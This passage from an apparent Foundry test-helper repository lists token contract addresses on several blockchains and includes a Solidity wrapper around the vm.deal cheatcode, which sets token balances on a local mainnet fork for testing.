[0x98443B96EA4b0858FDF3219Cd13e98C7A4690588](https://snowtrace.io/address/0x98443B96EA4b0858FDF3219Cd13e98C7A4690588) | 214 | | Avalanche | SUSHIe | [0x37B608519F91f70F2EeB0e5Ed9AF4061722e4F76](https://snowtrace.io/address/0x37B608519F91f70F2EeB0e5Ed9AF4061722e4F76) | 215 | | Avalanche | COMPe | [0xc3048E19E76CB9a3Aa9d77D8C03c29Fc906e2437](https://snowtrace.io/address/0xc3048E19E76CB9a3Aa9d77D8C03c29Fc906e2437) | 216 | | Avalanche | YFIe | [0x9eAaC1B23d935365bD7b542Fe22cEEe2922f52dc](https://snowtrace.io/address/0x9eAaC1B23d935365bD7b542Fe22cEEe2922f52dc) | 217 | | Avalanche | ZRXe | [0x596fA47043f99A4e0F122243B841E55375cdE0d2](https://snowtrace.io/address/0x596fA47043f99A4e0F122243B841E55375cdE0d2) | 218 | | Avalanche | UMAe | [0x3Bd2B1c7ED8D396dbb98DED3aEbb41350a5b2339](https://snowtrace.io/address/0x3Bd2B1c7ED8D396dbb98DED3aEbb41350a5b2339) | 219 | | Avalanche | ANY | [0xB44a9B6905aF7c801311e8F4E76932ee959c663C](https://snowtrace.io/address/0xB44a9B6905aF7c801311e8F4E76932ee959c663C) | 220 | | Avalanche | KNC | [0x39fC9e94Caeacb435842FADeDeCB783589F50f5f](https://snowtrace.io/address/0x39fC9e94Caeacb435842FADeDeCB783589F50f5f) | 221 | | Avalanche | BTCb | [0x152b9d0FdC40C096757F570A51E494bd4b943E50](https://snowtrace.io/address/0x152b9d0FdC40C096757F570A51E494bd4b943E50) | 222 | | Avalanche | ORBS | [0x340fE1D898ECCAad394e2ba0fC1F93d27c7b717A](https://snowtrace.io/address/0x340fE1D898ECCAad394e2ba0fC1F93d27c7b717A) | 223 | | Avalanche | SYN | [0x1f1E7c893855525b303f99bDF5c3c05Be09ca251](https://snowtrace.io/address/0x1f1E7c893855525b303f99bDF5c3c05Be09ca251) | 224 | | Avalanche | SPELL | [0xCE1bFFBD5374Dac86a2893119683F4911a2F7814](https://snowtrace.io/address/0xCE1bFFBD5374Dac86a2893119683F4911a2F7814) | 225 | | Avalanche | ALPHAe | [0x2147EFFF675e4A4eE1C2f918d181cDBd7a8E208f](https://snowtrace.io/address/0x2147EFFF675e4A4eE1C2f918d181cDBd7a8E208f) | 226 | | Avalanche | BOBA | [0x3cD790449CF7D187a143d4Bd7F4654d4f2403e02](https://snowtrace.io/address/0x3cD790449CF7D187a143d4Bd7F4654d4f2403e02) | 227 | | Avalanche | SURE | [0x5fC17416925789E0852FBFcd81c490ca4abc51F9](https://snowtrace.io/address/0x5fC17416925789E0852FBFcd81c490ca4abc51F9) | 228 | | Avalanche | STG | [0x2F6F07CDcf3588944Bf4C42aC74ff24bF56e7590](https://snowtrace.io/address/0x2F6F07CDcf3588944Bf4C42aC74ff24bF56e7590) | 229 | | Avalanche | xJOE | [0x57319d41F71E81F3c65F2a47CA4e001EbAFd4F33](https://snowtrace.io/address/0x57319d41F71E81F3c65F2a47CA4e001EbAFd4F33) | 230 | | Avalanche | JOE | [0x6e84a6216eA6dACC71eE8E6b0a5B7322EEbC0fDd](https://snowtrace.io/address/0x6e84a6216eA6dACC71eE8E6b0a5B7322EEbC0fDd) | 231 | | Avalanche | BIFI | [0xd6070ae98b8069de6B494332d1A1a81B6179D960](https://snowtrace.io/address/0xd6070ae98b8069de6B494332d1A1a81B6179D960) | 232 | | Avalanche | ETHM | [0x55b1a124c04A54eeFDEFE5FA2Ef5f852FB5f2f26](https://snowtrace.io/address/0x55b1a124c04A54eeFDEFE5FA2Ef5f852FB5f2f26) | 233 | | Avalanche | QI | [0x8729438EB15e2C8B576fCc6AeCdA6A148776C0F5](https://snowtrace.io/address/0x8729438EB15e2C8B576fCc6AeCdA6A148776C0F5) | 234 | | Avalanche | SWAPe | [0xc7B5D72C836e718cDA8888eaf03707fAef675079](https://snowtrace.io/address/0xc7B5D72C836e718cDA8888eaf03707fAef675079) | 235 | | Avalanche | UNCX | [0x3b9e3b5c616A1A038fDc190758Bbe9BAB6C7A857](https://snowtrace.io/address/0x3b9e3b5c616A1A038fDc190758Bbe9BAB6C7A857) | 236 | | Avalanche | WALBT | [0x9E037dE681CaFA6E661e6108eD9c2bd1AA567Ecd](https://snowtrace.io/address/0x9E037dE681CaFA6E661e6108eD9c2bd1AA567Ecd) | 237 | | Avalanche | JADE | [0x80B010450fDAf6a3f8dF033Ee296E92751D603B3](https://snowtrace.io/address/0x80B010450fDAf6a3f8dF033Ee296E92751D603B3) | 238 | | Avalanche | sJADE | [0x3D9eAB723df76808bB84c05b20De27A2e69EF293](https://snowtrace.io/address/0x3D9eAB723df76808bB84c05b20De27A2e69EF293) | 239 | | Avalanche | RISE | [0xC17c30e98541188614dF99239cABD40280810cA3](https://snowtrace.io/address/0xC17c30e98541188614dF99239cABD40280810cA3) | 240 | | Avalanche | PENDLE | [0xfB98B335551a418cD0737375a2ea0ded62Ea213b](https://snowtrace.io/address/0xfB98B335551a418cD0737375a2ea0ded62Ea213b) | 241 |
242 |
243 | 244 | 245 | ### Fantom 246 | 247 | 248 | | Network | Token | Address | 249 | | ---------- | -------- | ------------------------------------------------------- | 250 | | Fantom | FBTC | [0xe1146b9AC456fCbB60644c36Fd3F868A9072fc6E](https://ftmscan.com/address/0xe1146b9AC456fCbB60644c36Fd3F868A9072fc6E) | 251 | | Fantom | FETH | [0x658b0c7613e890EE50B8C4BC6A3f41ef411208aD](https://ftmscan.com/address/0x658b0c7613e890EE50B8C4BC6A3f41ef411208aD) | 252 | | Fantom | USDC | [0x04068DA6C83AFCFA0e13ba15A6696662335D5B75](https://ftmscan.com/address/0x04068DA6C83AFCFA0e13ba15A6696662335D5B75) | 253 | | Fantom | DAI | [0x8D11eC38a3EB5E956B052f67Da8Bdc9bef8Abf3E](https://ftmscan.com/address/0x8D11eC38a3EB5E956B052f67Da8Bdc9bef8Abf3E) | 254 | | Fantom | AVAX | [0x511D35c52a3C244E7b8bd92c0C297755FbD89212](https://ftmscan.com/address/0x511D35c52a3C244E7b8bd92c0C297755FbD89212) | 255 | | Fantom | BTC | [0x321162Cd933E2Be498Cd2267a90534A804051b11](https://ftmscan.com/address/0x321162Cd933E2Be498Cd2267a90534A804051b11) | 256 | | Fantom | LINK | [0xb3654dc3D10Ea7645f8319668E8F54d2574FBdC8](https://ftmscan.com/address/0xb3654dc3D10Ea7645f8319668E8F54d2574FBdC8) | 257 | | Fantom | FRAX | [0xdc301622e621166BD8E82f2cA0A26c13Ad0BE355](https://ftmscan.com/address/0xdc301622e621166BD8E82f2cA0A26c13Ad0BE355) | 258 | | Fantom | AAVE | [0x6a07A792ab2965C72a5B8088d3a069A7aC3a993B](https://ftmscan.com/address/0x6a07A792ab2965C72a5B8088d3a069A7aC3a993B) | 259 | | Fantom | TUSD | [0x9879aBDea01a879644185341F7aF7d8343556B7a](https://ftmscan.com/address/0x9879aBDea01a879644185341F7aF7d8343556B7a) | 260 | | Fantom | USDD | [0xcf799767d366d789e8B446981C2D578E241fa25c](https://ftmscan.com/address/0xcf799767d366d789e8B446981C2D578E241fa25c) | 261 | | Fantom | SFTM | [0x69c744D3444202d35a2783929a0F930f2FBB05ad](https://ftmscan.com/address/0x69c744D3444202d35a2783929a0F930f2FBB05ad) | 262 | | Fantom | WFTM | [0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83](https://ftmscan.com/address/0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83) | 263 | | Fantom | SNX | [0x56ee926bD8c72B2d5fa1aF4d9E4Cbb515a1E3Adc](https://ftmscan.com/address/0x56ee926bD8c72B2d5fa1aF4d9E4Cbb515a1E3Adc) | 264 | | Fantom | CRV | [0x1E4F97b9f9F913c46F1632781732927B9019C68b](https://ftmscan.com/address/0x1E4F97b9f9F913c46F1632781732927B9019C68b) | 265 | | Fantom | FXS | [0x7d016eec9c25232b01F23EF992D98ca97fc2AF5a](https://ftmscan.com/address/0x7d016eec9c25232b01F23EF992D98ca97fc2AF5a) | 266 | | Fantom | CEL | [0x2C78f1b70Ccf63CDEe49F9233e9fAa99D43AA07e](https://ftmscan.com/address/0x2C78f1b70Ccf63CDEe49F9233e9fAa99D43AA07e) | 267 | | Fantom | SUSHI | [0xae75A438b2E0cB8Bb01Ec1E1e376De11D44477CC](https://ftmscan.com/address/0xae75A438b2E0cB8Bb01Ec1E1e376De11D44477CC) | 268 | | Fantom | BAND | [0x46E7628E8b4350b2716ab470eE0bA1fa9e76c6C5](https://ftmscan.com/address/0x46E7628E8b4350b2716ab470eE0bA1fa9e76c6C5) | 269 | | Fantom | FBAND | [0x078EEF5A2fb533e1a4d487ef64b27DF113d12C32](https://ftmscan.com/address/0x078EEF5A2fb533e1a4d487ef64b27DF113d12C32) | 270 | | Fantom | YFI | [0x29b0Da86e484E1C0029B56e817912d778aC0EC69](https://ftmscan.com/address/0x29b0Da86e484E1C0029B56e817912d778aC0EC69) | 271 | | Fantom | SYN | [0xE55e19Fb4F2D85af758950957714292DAC1e25B2](https://ftmscan.com/address/0xE55e19Fb4F2D85af758950957714292DAC1e25B2) | 272 | | Fantom | MIM | [0x82f0B8B456c1A451378467398982d4834b6829c1](https://ftmscan.com/address/0x82f0B8B456c1A451378467398982d4834b6829c1) | 273 | | Fantom | ORBS | [0x3E01B7E242D5AF8064cB9A8F9468aC0f8683617c](https://ftmscan.com/address/0x3E01B7E242D5AF8064cB9A8F9468aC0f8683617c) | 274 | | Fantom | SPELL | [0x468003B688943977e6130F4F68F23aad939a1040](https://ftmscan.com/address/0x468003B688943977e6130F4F68F23aad939a1040) | 275 | | Fantom | ALPHA | [0x11eb3aA66FE1f2B75cB353D3e874E96968182BdA](https://ftmscan.com/address/0x11eb3aA66FE1f2B75cB353D3e874E96968182BdA) | 276 | | Fantom | BOBA | [0x4389b230D15119c347B9E8BEA6d930A21aaDF6BA](https://ftmscan.com/address/0x4389b230D15119c347B9E8BEA6d930A21aaDF6BA) | 277 | | Fantom | STG | [0x2F6F07CDcf3588944Bf4C42aC74ff24bF56e7590](https://ftmscan.com/address/0x2F6F07CDcf3588944Bf4C42aC74ff24bF56e7590) | 278 | | Fantom | ALPACA | [0xaD996A45fd2373ed0B10Efa4A8eCB9de445A4302](https://ftmscan.com/address/0xaD996A45fd2373ed0B10Efa4A8eCB9de445A4302) | 279 | | Fantom | KP3R | [0x2A5062D22adCFaAfbd5C541d4dA82E4B450d4212](https://ftmscan.com/address/0x2A5062D22adCFaAfbd5C541d4dA82E4B450d4212) | 280 | | Fantom | ORN | [0xD2cDcB6BdEE6f78DE7988a6A60d13F6eF0b576D9](https://ftmscan.com/address/0xD2cDcB6BdEE6f78DE7988a6A60d13F6eF0b576D9) | 281 | | Fantom | HEGIC | [0x44B26E839eB3572c5E959F994804A5De66600349](https://ftmscan.com/address/0x44B26E839eB3572c5E959F994804A5De66600349) | 282 | | Fantom | DOLA | [0x3129662808bEC728a27Ab6a6b9AFd3cBacA8A43c](https://ftmscan.com/address/0x3129662808bEC728a27Ab6a6b9AFd3cBacA8A43c) | 283 | | Fantom | TOR | [0x74E23dF9110Aa9eA0b6ff2fAEE01e740CA1c642e](https://ftmscan.com/address/0x74E23dF9110Aa9eA0b6ff2fAEE01e740CA1c642e) | 284 | | Fantom | BOO | [0x841FAD6EAe12c286d1Fd18d1d525DFfA75C7EFFE](https://ftmscan.com/address/0x841FAD6EAe12c286d1Fd18d1d525DFfA75C7EFFE) | 285 | | Fantom | RISE | [0xC17c30e98541188614dF99239cABD40280810cA3](https://ftmscan.com/address/0xC17c30e98541188614dF99239cABD40280810cA3) | 286 | | Fantom | RAI | [0xa71353Bb71DdA105D383B02fc2dD172C4D39eF8B](https://ftmscan.com/address/0xa71353Bb71DdA105D383B02fc2dD172C4D39eF8B) | 287 | | Fantom | HOGE | [0xF31778D591c558140398F46feCA42A6a2dbFFe90](https://ftmscan.com/address/0xF31778D591c558140398F46feCA42A6a2dbFFe90) | 288 | | Fantom | GEL | [0x15b7c0c907e4C6b9AdaAaabC300C08991D6CEA05](https://ftmscan.com/address/0x15b7c0c907e4C6b9AdaAaabC300C08991D6CEA05) | 289 | | Fantom | GEIST | [0xd8321AA83Fb0a4ECd6348D4577431310A6E0814d](https://ftmscan.com/address/0xd8321AA83Fb0a4ECd6348D4577431310A6E0814d) | 290 | | Fantom | wBAN | [0xe20B9e246db5a0d21BF9209E4858Bc9A3ff7A034](https://ftmscan.com/address/0xe20B9e246db5a0d21BF9209E4858Bc9A3ff7A034) | 291 | | Fantom | HEC | [0x5C4FDfc5233f935f20D2aDbA572F770c2E377Ab0](https://ftmscan.com/address/0x5C4FDfc5233f935f20D2aDbA572F770c2E377Ab0) | 292 | | Fantom | sHEC | [0x75bdeF24285013387A47775828bEC90b91Ca9a5F](https://ftmscan.com/address/0x75bdeF24285013387A47775828bEC90b91Ca9a5F) | 293 | | Fantom | TOMB | [0x6c021Ae822BEa943b2E66552bDe1D2696a53fbB7](https://ftmscan.com/address/0x6c021Ae822BEa943b2E66552bDe1D2696a53fbB7) | 294 | | Fantom | fmXEN | [0xeF4B763385838FfFc708000f884026B8c0434275](https://ftmscan.com/address/0xeF4B763385838FfFc708000f884026B8c0434275) | 295 | | Fantom | TREEB | [0xc60D7067dfBc6f2caf30523a064f416A5Af52963](https://ftmscan.com/address/0xc60D7067dfBc6f2caf30523a064f416A5Af52963) | 296 | | Fantom | BEETS | [0xF24Bcf4d1e507740041C9cFd2DddB29585aDCe1e](https://ftmscan.com/address/0xF24Bcf4d1e507740041C9cFd2DddB29585aDCe1e) | 297 | | Fantom | WIGO | [0xE992bEAb6659BFF447893641A378FbbF031C5bD6](https://ftmscan.com/address/0xE992bEAb6659BFF447893641A378FbbF031C5bD6) | 298 | | Fantom | TETU | [0x65c9d9d080714cDa7b5d58989Dc27f897F165179](https://ftmscan.com/address/0x65c9d9d080714cDa7b5d58989Dc27f897F165179) | 299 | | Fantom | TSHARE | [0x4cdF39285D7Ca8eB3f090fDA0C069ba5F4145B37](https://ftmscan.com/address/0x4cdF39285D7Ca8eB3f090fDA0C069ba5F4145B37) | 300 |
301 |
302 | 303 | 304 | ### Optimism 305 | 306 | 307 | | Network | Token | Address | 308 | | ---------- | -------- | ------------------------------------------------------- | 309 | | Optimism | USDT | [0x94b008aA00579c1307B0EF2c499aD98a8ce58e58](https://optimistic.etherscan.io/address/0x94b008aA00579c1307B0EF2c499aD98a8ce58e58) | 310 | | Optimism | USDC | [0x7F5c764cBc14f9669B88837ca1490cCa17c31607](https://optimistic.etherscan.io/address/0x7F5c764cBc14f9669B88837ca1490cCa17c31607) | 311 | | Optimism | DAI | [0xDA10009cBd5D07dd0CeCc66161FC93D7c9000da1](https://optimistic.etherscan.io/address/0xDA10009cBd5D07dd0CeCc66161FC93D7c9000da1) | 312 | | Optimism | WBTC | [0x68f180fcCe6836688e9084f035309E29Bf0A2095](https://optimistic.etherscan.io/address/0x68f180fcCe6836688e9084f035309E29Bf0A2095) | 313 | | Optimism | LINK | [0x350a791Bfc2C21F9Ed5d10980Dad2e2638ffa7f6](https://optimistic.etherscan.io/address/0x350a791Bfc2C21F9Ed5d10980Dad2e2638ffa7f6) | 314 | | Optimism | LDO | [0xFdb794692724153d1488CcdBE0C56c252596735F](https://optimistic.etherscan.io/address/0xFdb794692724153d1488CcdBE0C56c252596735F) | 315 | | Optimism | FRAX | [0x2E3D870790dC77A83DD1d18184Acc7439A53f475](https://optimistic.etherscan.io/address/0x2E3D870790dC77A83DD1d18184Acc7439A53f475) | 316 | | Optimism | USDD | [0xC22885e06cd8507c5c74a948C59af853AEd1Ea5C](https://optimistic.etherscan.io/address/0xC22885e06cd8507c5c74a948C59af853AEd1Ea5C) | 317 | | Optimism | SNX | [0x8700dAec35aF8Ff88c16BdF0418774CB3D7599B4](https://optimistic.etherscan.io/address/0x8700dAec35aF8Ff88c16BdF0418774CB3D7599B4) | 318 | | Optimism | FXS | [0x67CCEA5bb16181E7b4109c9c2143c24a1c2205Be](https://optimistic.etherscan.io/address/0x67CCEA5bb16181E7b4109c9c2143c24a1c2205Be) | 319 | | Optimism | OP | [0x4200000000000000000000000000000000000042](https://optimistic.etherscan.io/address/0x4200000000000000000000000000000000000042) | 320 | | Optimism | UST | [0xFB21B70922B9f6e3C6274BcD6CB1aa8A0fe20B80](https://optimistic.etherscan.io/address/0xFB21B70922B9f6e3C6274BcD6CB1aa8A0fe20B80) | 321 | | Optimism | KNC | [0xa00E3A3511aAC35cA78530c85007AFCd31753819](https://optimistic.etherscan.io/address/0xa00E3A3511aAC35cA78530c85007AFCd31753819) | 322 | | Optimism | sUSD | [0x8c6f28f2F1A3C87F0f938b96d27520d9751ec8d9](https://optimistic.etherscan.io/address/0x8c6f28f2F1A3C87F0f938b96d27520d9751ec8d9) | 323 | | Optimism | BIFI | [0x4E720DD3Ac5CFe1e1fbDE4935f386Bb1C66F4642](https://optimistic.etherscan.io/address/0x4E720DD3Ac5CFe1e1fbDE4935f386Bb1C66F4642) | 324 | | Optimism | sETH | [0xE405de8F52ba7559f9df3C368500B6E6ae6Cee49](https://optimistic.etherscan.io/address/0xE405de8F52ba7559f9df3C368500B6E6ae6Cee49) | 325 | | Optimism | BOB | [0xB0B195aEFA3650A6908f15CdaC7D92F8a5791B0B](https://optimistic.etherscan.io/address/0xB0B195aEFA3650A6908f15CdaC7D92F8a5791B0B) | 326 | | Optimism | THALES | [0x217D47011b23BB961eB6D93cA9945B7501a5BB11](https://optimistic.etherscan.io/address/0x217D47011b23BB961eB6D93cA9945B7501a5BB11) | 327 | | Optimism | USDPLUS | [0x73cb180bf0521828d8849bc8CF2B920918e23032](https://optimistic.etherscan.io/address/0x73cb180bf0521828d8849bc8CF2B920918e23032) | 328 | | Optimism | sBTC | [0x298B9B95708152ff6968aafd889c6586e9169f1D](https://optimistic.etherscan.io/address/0x298B9B95708152ff6968aafd889c6586e9169f1D) | 329 | | Optimism | RGT | [0xB548f63D4405466B36C0c0aC3318a22fDcec711a](https://optimistic.etherscan.io/address/0xB548f63D4405466B36C0c0aC3318a22fDcec711a) | 330 | | Optimism | HOP | [0xc5102fE9359FD9a28f877a67E36B0F050d81a3CC](https://optimistic.etherscan.io/address/0xc5102fE9359FD9a28f877a67E36B0F050d81a3CC) | 331 | | Optimism | O3 | [0xEe9801669C6138E84bD50dEB500827b776777d28](https://optimistic.etherscan.io/address/0xEe9801669C6138E84bD50dEB500827b776777d28) | 332 | | Optimism | DCN | [0x1da650C3B2DaA8AA9Ff6F661d4156Ce24d08A062](https://optimistic.etherscan.io/address/0x1da650C3B2DaA8AA9Ff6F661d4156Ce24d08A062) | 333 | | Optimism | sLINK | [0xc5Db22719A06418028A40A9B5E9A7c02959D0d08](https://optimistic.etherscan.io/address/0xc5Db22719A06418028A40A9B5E9A7c02959D0d08) | 334 | | Optimism | PICKLE | [0x0c5b4c92c948691EEBf185C17eeB9c230DC019E9](https://optimistic.etherscan.io/address/0x0c5b4c92c948691EEBf185C17eeB9c230DC019E9) | 335 | | Optimism | ROOBEE | [0xb12c13e66AdE1F72f71834f2FC5082Db8C091358](https://optimistic.etherscan.io/address/0xb12c13e66AdE1F72f71834f2FC5082Db8C091358) | 336 | | Optimism | GRG | [0xEcF46257ed31c329F204Eb43E254C609dee143B3](https://optimistic.etherscan.io/address/0xEcF46257ed31c329F204Eb43E254C609dee143B3) | 337 | | Optimism | IB | [0x00a35FD824c717879BF370E70AC6868b95870Dfb](https://optimistic.etherscan.io/address/0x00a35FD824c717879BF370E70AC6868b95870Dfb) | 338 |
339 | 340 | ## Usage 341 | 342 | The following attack contract demonstrate a simple token balance manipulation of USDC on a fork of Ethereum mainnet. 343 | 344 | * [TokenExampleManipulation](./examples/TokenExampleManipulation.sol) 345 | 346 | Extend the Tokens contract and call `deal(IERC20 token, address to, uint256 amount)` to set an accounts balance for the specified token: 347 | ``` 348 | deal(EthereumTokens.USDC, address(this), 1 ether); 349 | ``` -------------------------------------------------------------------------------- /src/tokens/Tokens.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "forge-std/interfaces/IERC20.sol"; 4 | 5 | import "forge-std/Test.sol"; 6 | 7 | abstract contract Tokens is Test { 8 | /** 9 | * @dev Wrapper function for vm.deal that takes IERC20 object 10 | * @param token IERC20 token to manipulate 11 | * @param to IERC20 to manipulate balance of 12 | * @param amount Amount to set balance to 13 | */ 14 | function deal(IERC20 token, address to, uint256 amount) internal { 15 | if (address(token) == address(0x0)) { 16 | deal(to, amount); 17 | } else { 18 | deal(address(token), to, amount); 19 | } 20 | } 21 | } 22 | 23 | library EthereumTokens { 24 | IERC20 public constant NATIVE_ASSET = IERC20(address(0x0)); 25 | IERC20 public constant ETH = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); 26 | // Top 50 tokens by market cap on etherscan 27 | IERC20 public constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); 28 | IERC20 public constant USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7); 29 | IERC20 public constant BNB = IERC20(0xB8c77482e45F1F44dE1745F52C74426C631bDD52); 30 | IERC20 public constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); 31 | IERC20 public constant BUSD = IERC20(0x4Fabb145d64652a948d72533023f6E7A623C7C53); 32 | IERC20 public constant MATIC = IERC20(0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0); 33 | IERC20 public constant OKB = IERC20(0x75231F58b43240C9718Dd58B4967c5114342a86c); 34 | IERC20 public constant stETH = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84); 35 | IERC20 public constant anyLTC = IERC20(0x0aBCFbfA8e3Fda8B7FBA18721Caf7d5cf55cF5f5); 36 | IERC20 public constant THETA = IERC20(0x3883f5e181fccaF8410FA61e12b59BAd963fb645); 37 | IERC20 public constant SHIB = IERC20(0x95aD61b0a150d79219dCF64E1E6Cc01f0B64C4cE); 38 | IERC20 public constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); 39 | IERC20 public constant HEX = IERC20(0x2b591e99afE9f32eAA6214f7B7629768c40Eeb39); 40 | IERC20 public constant UNI = IERC20(0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984); 41 | IERC20 public constant LEO = IERC20(0x2AF5D2aD76741191D15Dfe7bF6aC92d4Bd912Ca3); 42 | IERC20 public constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); 43 | IERC20 public constant LINK = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA); 44 | IERC20 public constant QNT = IERC20(0x4a220E6096B25EADb88358cb44068A3248254675); 45 | IERC20 public constant APE = IERC20(0x4d224452801ACEd8B2F0aebE155379bb5D594381); 46 | IERC20 public constant CRO = IERC20(0xA0b73E1Ff0B80914AB6fe0444E65848C4C34450b); 47 | IERC20 public constant LDO = IERC20(0x5A98FcBEA516Cf06857215779Fd812CA3beF1B32); 48 | IERC20 public constant NEAR = IERC20(0x85F17Cf997934a597031b2E18a9aB6ebD4B9f6a4); 49 | IERC20 public constant VEN = IERC20(0xD850942eF8811f2A866692A623011bDE52a462C1); 50 | IERC20 public constant FRAX = IERC20(0x853d955aCEf822Db058eb8505911ED77F175b99e); 51 | IERC20 public constant aAAVE = IERC20(0xba3D9687Cf50fE253cd2e1cFeEdE1d6787344Ed5); 52 | IERC20 public constant stkAAVE = IERC20(0x4da27a545c0c5B758a6BA100e3a049001de870f5); 53 | IERC20 public constant TUSD = IERC20(0x0000000000085d4780B73119b644AE5ecd22b376); 54 | IERC20 public constant USDP = IERC20(0x8E870D67F660D95d5be530380D0eC0bd388289E1); 55 | IERC20 public constant SAND = IERC20(0x3845badAde8e6dFF049820680d1F14bD3903a5d0); 56 | IERC20 public constant HT = IERC20(0x6f259637dcD74C767781E37Bc6133cd6A68aa161); 57 | IERC20 public constant wMANA = IERC20(0xFd09Cf7cFffa9932e33668311C4777Cb9db3c9Be); 58 | IERC20 public constant USDD = IERC20(0x0C10bF8FcB7Bf5412187A595ab97a3609160b5c6); 59 | IERC20 public constant KCS = IERC20(0xf34960d9d60be18cC1D5Afc1A6F012A723a28811); 60 | IERC20 public constant BTT = IERC20(0xC669928185DbCE49d2230CC9B0979BE6DC797957); 61 | IERC20 public constant CHZ = IERC20(0x3506424F91fD33084466F402d5D97f05F8e3b4AF); 62 | IERC20 public constant FTM = IERC20(0x4E15361FD6b4BB609Fa63C81A2be19d873717870); 63 | IERC20 public constant GUSD = IERC20(0x056Fd409E1d7A124BD7017459dFEa2F387b6d5Cd); 64 | IERC20 public constant MKR = IERC20(0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2); 65 | IERC20 public constant cUSDC = IERC20(0x39AA39c021dfbaE8faC545936693aC917d5E7563); 66 | IERC20 public constant GRT = IERC20(0xc944E90C64B2c07662A292be6244BDf05Cda44a7); 67 | IERC20 public constant PAXG = IERC20(0x45804880De22913dAFE09f4980848ECE6EcbAf78); 68 | IERC20 public constant BIT = IERC20(0x1A4b46696b2bB4794Eb3D4c26f1c55F9170fa4C5); 69 | IERC20 public constant XAUt = IERC20(0x68749665FF8D2d112Fa859AA293F07A622782F38); 70 | IERC20 public constant cDAI = IERC20(0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643); 71 | IERC20 public constant SNX = IERC20(0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F); 72 | IERC20 public constant FXS = IERC20(0x3432B6A60D23Ca0dFCa7761B7ab56459D9C964D0); 73 | IERC20 public constant NEXO = IERC20(0xB62132e35a6c13ee1EE0f84dC5d40bad8d815206); 74 | IERC20 public constant cETH = IERC20(0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5); 75 | IERC20 public constant ZIL = IERC20(0x05f4a42e251f2d52b8ed15E9FEdAacFcEF1FAD27); 76 | IERC20 public constant XDCE = IERC20(0x41AB1b6fcbB2fA9DCEd81aCbdeC13Ea6315F2Bf2); 77 | IERC20 public constant ONEINCH = IERC20(0x111111111117dC0aa78b770fA6A738034120C302); 78 | IERC20 public constant steCRV = IERC20(0x06325440D014e39736583c165C2963BA99fAf14E); 79 | IERC20 public constant wstETH = IERC20(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0); 80 | } 81 | 82 | library BinanceTokens { 83 | IERC20 public constant NATIVE_ASSET = IERC20(address(0x0)); 84 | // Top 50 tokens by market cap on bscscan 85 | IERC20 public constant ETH = IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8); 86 | IERC20 public constant BSCUSD = IERC20(0x55d398326f99059fF775485246999027B3197955); 87 | IERC20 public constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c); 88 | IERC20 public constant USDC = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d); 89 | IERC20 public constant anyUSDC = IERC20(0x8965349fb649A33a30cbFDa057D8eC2C48AbE2A2); 90 | IERC20 public constant XRP = IERC20(0x1D2F0da169ceB9fC7B3144628dB156f3F6c60dBE); 91 | IERC20 public constant BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56); 92 | IERC20 public constant ADA = IERC20(0x3EE2200Efb3400fAbB9AacF31297cBdD1d435D47); 93 | IERC20 public constant DOGE = IERC20(0xbA2aE424d960c26247Dd6c32edC70B295c744C43); 94 | IERC20 public constant MATIC = IERC20(0xCC42724C6683B7E57334c4E856f4c9965ED682bD); 95 | IERC20 public constant LTC = IERC20(0x4338665CBB7B2485A8855A139b75D5e34AB0DB94); 96 | IERC20 public constant DAI = IERC20(0x1AF3F329e8BE154074D8769D1FFa4eE058B1DBc3); 97 | IERC20 public constant DOT = IERC20(0x7083609fCE4d1d8Dc0C979AAb8c869Ea2C873402); 98 | IERC20 public constant SHIB = IERC20(0x2859e4544C4bB03966803b044A93563Bd2D0DD4D); 99 | IERC20 public constant UNI = IERC20(0xBf5140A22578168FD562DCcF235E5D43A02ce9B1); 100 | IERC20 public constant AVAX = IERC20(0x1CE0c2827e2eF14D5C4f29a091d735A204794041); 101 | IERC20 public constant ATOM = IERC20(0x0Eb3a705fc54725037CC9e008bDede697f62F335); 102 | IERC20 public constant LINK = IERC20(0xF8A0BF9cF54Bb92F17374d9e9A321E6a111a51bD); 103 | IERC20 public constant ETC = IERC20(0x3d6545b08693daE087E957cb1180ee38B9e3c25E); 104 | IERC20 public constant BTTp = IERC20(0x8595F9dA7b868b1822194fAEd312235E43007b49); 105 | IERC20 public constant BCH = IERC20(0x8fF795a6F4D97E7887C79beA79aba5cc76444aDf); 106 | IERC20 public constant NEAR = IERC20(0x1Fa4a73a3F0133f0025378af00236f3aBDEE5D63); 107 | IERC20 public constant FRAX = IERC20(0x90C97F71E18723b0Cf0dfa30ee176Ab653E89F40); 108 | IERC20 public constant EOS = IERC20(0x56b6fB708fC5732DEC1Afc8D8556423A2EDcCbD6); 109 | IERC20 public constant PAX = IERC20(0xb7F8Cd00C5A06c0537E2aBfF0b58033d02e5E094); 110 | IERC20 public constant BTCB = IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c); 111 | IERC20 public constant TUSD = IERC20(0x14016E85a25aeb13065688cAFB43044C2ef86784); 112 | IERC20 public constant AXS = IERC20(0x715D400F88C167884bbCc41C5FeA407ed4D2f8A0); 113 | IERC20 public constant EGLD = IERC20(0xbF7c81FFF98BbE61B40Ed186e4AfD6DDd01337fe); 114 | IERC20 public constant USDP = IERC20(0xb3c11196A4f3b1da7c23d9FB0A3dDE9c6340934F); 115 | 